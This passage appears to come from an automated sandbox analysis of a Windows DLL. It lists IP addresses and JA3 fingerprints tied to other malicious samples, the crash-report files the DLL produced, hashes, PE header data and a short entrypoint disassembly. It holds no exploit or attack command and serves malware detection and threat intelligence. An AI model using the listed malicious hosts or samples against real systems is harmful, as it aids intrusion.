                                                                                                      DVvzRulsoR.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      BiiRGnhWx8.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      jYzNEOocXJ.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      BiiRGnhWx8.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      gdazhx1EIP.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      UNUy8dUYWp.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      gdazhx1EIP.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      UNUy8dUYWp.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      3sbn8ZI5nn.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      3sbn8ZI5nn.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      zzkCIdCoDt.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      OVHFRfile.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 213.32.44.120
                                                                                                      SecuriteInfo.com.Win32.PWSX-gen.15846.15487.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      tZU0MUwxja.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      8uRBOolRiA.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111
                                                                                                      file.exeGet hashmaliciousBrowse
                                                                                                      • 5.135.247.111

                                                                                                      JA3 Fingerprints

                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                      8916410db85077a5460817142dcbc8deozZDLYwvhE.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      ozZDLYwvhE.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      Rech 2022.11.11_1346.xlsGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      9CDZWvxtK7.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      dSxFvE2b8M.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      48noBU5j3z.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      file.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      48noBU5j3z.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17
                                                                                                      rn8oXbk4fg.dllGet hashmaliciousBrowse
                                                                                                      • 218.38.121.17

                                                                                                      Dropped Files

                                                                                                      ⊘No context

                                                                                                      Created / dropped Files

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_kOi_a748228d1b9ab9a1bb94dae9e0fac923745_f2877757_0d5857e4\Report.wer

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):65536
                                                                                                      Entropy (8bit):0.872078121730829
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:940idJK+HOiQCwej1hgc/u7sGS274ltZ:rijK2OVCwejH/u7sGX4ltZ
                                                                                                      MD5:0B151449235445704F036E71D0B36121
                                                                                                      SHA1:B9532A6B689DBBD101DB151FAEEBB0146969F3EC
                                                                                                      SHA-256:1854F3636E6C08507C14FB1D5A4FAE2F3B84C51F775B761F17A1FAB51DB52C4E
                                                                                                      SHA-512:5DB4AE49282BA891FB7FCA08913FCBA872F9CC725E9DD753D165FF544A137251E79C05E28BF19B06A63FE86B0CC7FFB841AD9D58232E485874F6216211C09866
                                                                                                      Malicious:false
                                                                                                      Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.3.5.0.3.9.6.9.8.7.1.9.8.8.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.3.5.0.3.9.7.0.8.7.2.0.0.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.f.e.9.d.a.1.2.-.5.a.f.5.-.4.5.a.c.-.a.5.4.d.-.1.6.0.9.6.9.e.8.b.1.3.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.8.8.a.3.9.1.2.-.6.0.0.c.-.4.4.c.4.-.a.3.2.9.-.d.a.6.1.a.3.4.8.1.5.0.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.k.O.i.a.W.L.N.K.X.p.j.a.y.W.e.M...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.7.8.-.0.0.0.1.-.0.0.1.f.-.7.3.9.a.-.9.e.f.9.9.c.f.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.f.3.4.c.c.f.d.d.8.1.4.1.a.e.e.e.2.e.8.9.f.f.b.0.7.0.c.e.2.3.9.

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_kOi_a748228d1b9ab9a1bb94dae9e0fac923745_f2877757_14085813\Report.wer

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):65536
                                                                                                      Entropy (8bit):0.8721527397559001
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:/TiuJKeHOiQCwejQh/c/u7sGS274ltZy:biQKWOVCwej3/u7sGX4ltZ
                                                                                                      MD5:89FB0C3122C98458BC77F378EE060B78
                                                                                                      SHA1:5608AFA8320715CB8CECB3D19B4DBED117EE9D3D
                                                                                                      SHA-256:1FB6A0DB37151B85B9A3886768CC49824A9089ACA1126845D28AD56E56B4C8E1
                                                                                                      SHA-512:697CB0AB09C775EE8D2425D2635961DA13EF4EC7EBF12C95575131EEA2276A26D4B2075264BB60053B98DCBC1AAE4FB19A645000165F80D84B5901D2092611F9
                                                                                                      Malicious:false
                                                                                                      Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.3.5.0.3.9.6.9.3.0.7.7.1.8.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.3.5.0.3.9.7.0.5.1.0.8.3.6.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.9.1.e.c.a.b.-.e.6.1.9.-.4.e.a.b.-.a.b.a.c.-.c.d.6.7.4.5.d.3.9.6.7.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.7.8.0.9.e.e.6.-.f.3.d.e.-.4.a.d.b.-.9.f.1.b.-.1.0.b.0.f.e.e.8.d.1.5.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.k.O.i.a.W.L.N.K.X.p.j.a.y.W.e.M...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.f.0.-.0.0.0.1.-.0.0.1.f.-.c.b.0.8.-.9.5.f.9.9.c.f.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.f.3.4.c.c.f.d.d.8.1.4.1.a.e.e.e.2.e.8.9.f.f.b.0.7.0.c.e.2.3.9.

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F6F.tmp.dmp

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:Mini DuMP crash report, 15 streams, Mon Nov 21 11:32:49 2022, 0x1205a4 type
                                                                                                      Category:dropped
                                                                                                      Size (bytes):68898
                                                                                                      Entropy (8bit):2.2593657814055566
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:CO95B3xDKkgXzqqCuQ922tpxKs1Tmg32J2TZO:/5Fx7RqCUqFrNO
                                                                                                      MD5:6FDB4190A9D1E0E7993BEF4AC6CF4903
                                                                                                      SHA1:709D61049D6C6D2E333A046DC248625624F7AF3B
                                                                                                      SHA-256:78FB31A09D0A60E4A2684787E690065C7663FC5172BE2078F42074678A6B3CA7
                                                                                                      SHA-512:A28808A8FEFED34B2536C210B9315D3FBEEECF7D29D900F0D08683578ED3939CFF4061546723003191FDEBDEB393840AFDB813BA5FEB5AC6282DA040F9CE2227
                                                                                                      Malicious:false
                                                                                                      Preview:MDMP....... ........a{c........................................H...........d@..........`.......8...........T...........H...............\&..........H(...................................................................U...........B.......(......Lw................3.z...T............a{c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER2173.tmp.dmp

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:Mini DuMP crash report, 15 streams, Mon Nov 21 11:32:50 2022, 0x1205a4 type
                                                                                                      Category:dropped
                                                                                                      Size (bytes):67910
                                                                                                      Entropy (8bit):2.2872930224451897
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:Usoh09UmSpt3w2JcK/MgXY4aOC5eJraHi7NbVpEtxmtROgM43SbNYzoL:UN09qt3wDKkgXzlCcSe5pEtxmmg3eY4
                                                                                                      MD5:E2BEE3284D5782BF1CD920884AA0DDC0
                                                                                                      SHA1:3ABFC6B1801276310175546F05106E4DCF0B051A
                                                                                                      SHA-256:3435E6312400AD0F6341025145BA005652C7F38DE3F1833F0584D4378F3258CB
                                                                                                      SHA-512:5D99ED0613DF6F616F8554C4C597BF842265C3545BF5E4DA86923D87F56D4B757B3F4695167D81E4AA5B7A28AD677F8AA6CA02489BD780DD253094D8E1B8AA48
                                                                                                      Malicious:false
                                                                                                      Preview:MDMP....... ........a{c........................................H...........d@..........`.......8...........T...............N...........\&..........H(...................................................................U...........B.......(......Lw................VK....T.......x....a{c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER222F.tmp.WERInternalMetadata.xml

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):8722
                                                                                                      Entropy (8bit):3.6995272588026613
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:Rrl7r3GLNi40jva6YNeEgmfZlfSmjqCprs89bPzqkfDFm:RrlsNizjva6Y0EgmfZlfS6rPzRfs
                                                                                                      MD5:BE46A1CF0D47BF92350C02FBB7BC6DCE
                                                                                                      SHA1:752B0D5513D543E34D6156EE78ECB3AA2CB7F583
                                                                                                      SHA-256:2847471816764542AAD97F3B098092F28B49B4CFC309CD1A7B52518DAF3CFECE
                                                                                                      SHA-512:C943406F61C34B3189F52B465875FC5C13458D5425419D958E54A4EC4F5483906581DDC7EB75CE3B39671AA0B147B2C8036212AED5FE4ABB5EA7448E00C1284D
                                                                                                      Malicious:false
                                                                                                      Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.2.8.<./.P.i.d.>.......

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER232A.tmp.xml

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4751
                                                                                                      Entropy (8bit):4.494164486999496
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:cvIwSD8zsblJgtBI91pWgc8sqYjrD/8fm8M4JCyCF2FW2yq85m2WZESC5Sgd:uITfb/LYgrsqYDkJK2LVvgd
                                                                                                      MD5:1AD542F6150D682107751BA46FFBB1CF
                                                                                                      SHA1:44F9DB01B37E1BAE1E3B8A74C67D2549D16E51A3
                                                                                                      SHA-256:147687BCE9BB3A5FE3746E68606ED2BBE919299D7D41FB7CEBADD846F879A66C
                                                                                                      SHA-512:376FEDF4CE7DB621ABA2739870C450521EC08DF77F28AD3935F9DB6719114226A9E0346C2CB3B1D9D294AF39CA8F192C4174076354635F41D851B066936E05CF
                                                                                                      Malicious:false
                                                                                                      Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1789723" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER2452.tmp.WERInternalMetadata.xml

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):8520
                                                                                                      Entropy (8bit):3.695214149866878
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:Rrl7r3GLNi9VIB5BR6YtdqMgmfZlfSmjqCprS89bPjffJwFm:RrlsNiPI/H6YXqMgmfZlfS65P7fh
                                                                                                      MD5:E5D5B3EE48668176FF7610C85F71B56F
                                                                                                      SHA1:B901413E9C393AA46786DC36773BA7031D16921A
                                                                                                      SHA-256:0989754C096D226569827F2C2BFBC6403C77B962534771CC1868E29BBA1B3631
                                                                                                      SHA-512:B386D181783FD965E11F7920958E9BFC0B33B3B62D390E8EE2D04E239BA67ED78F8BB799BD30FF4A2AC033053F46BC78BC5E7C09A012BEDC0A5DF096D5BBBE85
                                                                                                      Malicious:false
                                                                                                      Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.4.2.4.<./.P.i.d.>.......

                                                                                                      C:\ProgramData\Microsoft\Windows\WER\Temp\WER24EF.tmp.xml

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\WerFault.exe
                                                                                                      File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4751
                                                                                                      Entropy (8bit):4.493494717828344
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:cvIwSD8zsblJgtBI91pWgc8sqYjr0F8fm8M4JCyCF2Fsyq85m23ZESC5S2d:uITfb/LYgrsqYPJAKVv2d
                                                                                                      MD5:0D9B86BE737702FE9B1E0C59F154EA73
                                                                                                      SHA1:D5FCD44963ADAC173C1B34308CF6F2C5EF1ADBCC
                                                                                                      SHA-256:388A076160B1FD20113D856E8A9B2F9DFC64034E371B4FE06831AD9A63672DA5
                                                                                                      SHA-512:95DD60EBECD29740A969C0FBE95E2CDFE90DAE51398DA0F303206B95D9CED8E56D6274D931BB3CA5FA531ED59BBFF85FF51C5B2E34E18CD95BFB25EC828A7C33
                                                                                                      Malicious:false
                                                                                                      Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1789723" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

                                                                                                      Static File Info

                                                                                                      General

                                                                                                      File type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                      Entropy (8bit):6.7768867083811415
                                                                                                      TrID:
                                                                                                      • Win64 Dynamic Link Library (generic) (102004/3) 86.43%
                                                                                                      • Win64 Executable (generic) (12005/4) 10.17%
                                                                                                      • Generic Win/DOS Executable (2004/3) 1.70%
                                                                                                      • DOS Executable Generic (2002/1) 1.70%
                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
                                                                                                      File name:kOiaWLNKXpjayWeM.dll
                                                                                                      File size:908800
                                                                                                      MD5:b7d93d2b47d14264b8b986b2d8fc7a49
                                                                                                      SHA1:9310b16c2d7f9195c65cdbecf8c5648525cb80e5
                                                                                                      SHA256:139c1faa496ae6c7d7c5140b9f4ac4e34f153bf40cd080c856b96bbd7ae716d2
                                                                                                      SHA512:ed83e77a65b7487c89bab393ecff7ea4315a319361e024196664903fd7ef2d42570d606d38a1554365c448d26b18c1b553bef78b708a2c9abfdf72036c599f5b
                                                                                                      SSDEEP:12288:A0BQgtzAxM8q6BkmkxisTsxwJzCQ6TZ56lu4Vp4y1F9SFXCwQwbk:Ar6zAxVq6Bkm7saIzCXTZxUJFcJ
                                                                                                      TLSH:4315BF12B3E503B9F4B7E139CA6A4A51EBB2BC4B5630E30F03E491966F23751493E716
                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................3...............................................=...Q.......Q.......Q.>.....Q.......Rich...........

                                                                                                      File Icon

                                                                                                      Icon Hash:74f0e4ecccdce0e4

                                                                                                      Static PE Info

                                                                                                      General

                                                                                                      Entrypoint:0x180015150
                                                                                                      Entrypoint Section:.text
                                                                                                      Digitally signed:false
                                                                                                      Imagebase:0x180000000
                                                                                                      Subsystem:windows gui
                                                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
                                                                                                      DLL Characteristics:HIGH_ENTROPY_VA, NX_COMPAT
                                                                                                      Time Stamp:0x6364FEB9 [Fri Nov 4 11:59:53 2022 UTC]
                                                                                                      TLS Callbacks:
                                                                                                      CLR (.Net) Version:
                                                                                                      OS Version Major:6
                                                                                                      OS Version Minor:0
                                                                                                      File Version Major:6
                                                                                                      File Version Minor:0
                                                                                                      Subsystem Version Major:6
                                                                                                      Subsystem Version Minor:0
                                                                                                      Import Hash:c8d1998b80cffee902d21a3223b8978f

                                                                                                      Entrypoint Preview

                                                                                                      Instruction
                                                                                                      dec eax
                                                                                                      mov dword ptr [esp+08h], ebx
                                                                                                      dec eax
                                                                                                      mov dword ptr [esp+10h], esi
                                                                                                      push edi
                                                                                                      dec eax
                                                                                                      sub esp, 20h
                                                                                                      dec ecx
                                                                                                      mov edi, eax
                                                                                                      mov ebx, edx
                                                                                                      dec eax
                                                                                                      mov esi, ecx
                                                                                                      cmp edx, 01h
                                                                                                      jne 00007F9D64CFE257h
                                                                                                      call 00007F9D64CFE340h
                                                                                                      dec esp
                                                                                                      mov eax, edi
                                                                                                      mov edx, ebx
                                                                                                      dec eax
                                                                                                      mov ecx, esi
                                                                                                      dec eax
                                                                                                      mov ebx, dword ptr [esp+30h]
                                                                                                      dec eax
                                                                                                      mov esi, dword ptr [esp+38h]
                                                                                                      dec eax
                                                                                                      add esp, 20h
                                                                                                      pop edi
                                                                                                      jmp 00007F9D64CFE0C0h
                                                                                                      int3
                                                                                                      int3
                                                                                                      int3
                                                                                                      dec eax
                                                                                                      and dword ptr [ecx+10h], 00000000h
                                                                                                      dec eax
                                                                                                      lea eax, dword ptr [000692FCh]
                                                                                                      dec eax
                                                                                                      mov dword ptr [ecx], eax
                                                                                                      dec eax
                                                                                                      mov eax, ecx
                                                                                                      dec eax
                                                                                                      mov dword ptr [ecx+08h], edx
                                                                                                      ret
                                                                                                      int3
                                                                                                      dec eax
                                                                                                      sub esp, 48h
                                                                                                      dec eax
                                                                                                      lea ecx, dword ptr [esp+20h]
                                                                                                      call 00007F9D64CFCF83h
                                                                                                      dec eax
                                                                                                      lea edx, dword ptr [000C0483h]
                                                                                                      dec eax
                                                                                                      lea ecx, dword ptr [esp+20h]
                                                                                                      call 00007F9D64CFF7FAh
                                                                                                      int3
                                                                                                      dec eax
                                                                                                      sub esp, 48h
                                                                                                      dec eax
                                                                                                      lea ecx, dword ptr [esp+20h]
                                                                                                      call 00007F9D64CEA43Bh
                                                                                                      dec eax
                                                                                                      lea edx, dword ptr [000C0383h]
                                                                                                      dec eax
                                                                                                      lea ecx, dword ptr [esp+20h]
                                                                                                      call 00007F9D64CFF7DAh
                                                                                                      int3
                                                                                                      jmp 00007F9D64D3CDC0h
                                                                                                      int3
                                                                                                      int3
                                                                                                      int3
                                                                                                      inc eax
                                                                                                      push ebp
                                                                                                      dec eax
                                                                                                      mov ebp, esp
                                                                                                      dec eax
                                                                                                      sub esp, 20h
                                                                                                      dec eax
                                                                                                      and dword ptr [ebp+18h], 00000000h
                                                                                                      dec eax
                                                                                                      lea ecx, dword ptr [ebp+18h]
                                                                                                      call dword ptr [00067FC8h]
                                                                                                      dec eax
                                                                                                      mov eax, dword ptr [ebp+18h]
                                                                                                      dec eax
                                                                                                      mov dword ptr [ebp+10h], eax
                                                                                                      call dword ptr [0006815Ah]
                                                                                                      mov eax, eax

                                                                                                      Data Directories

                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0xd59a00x6c0.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xd60600xb4.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xe20000x1e0.rsrc
                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0xdb0000x5808.pdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0xe30000x914.reloc
                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0xcc8d00x1c.rdata
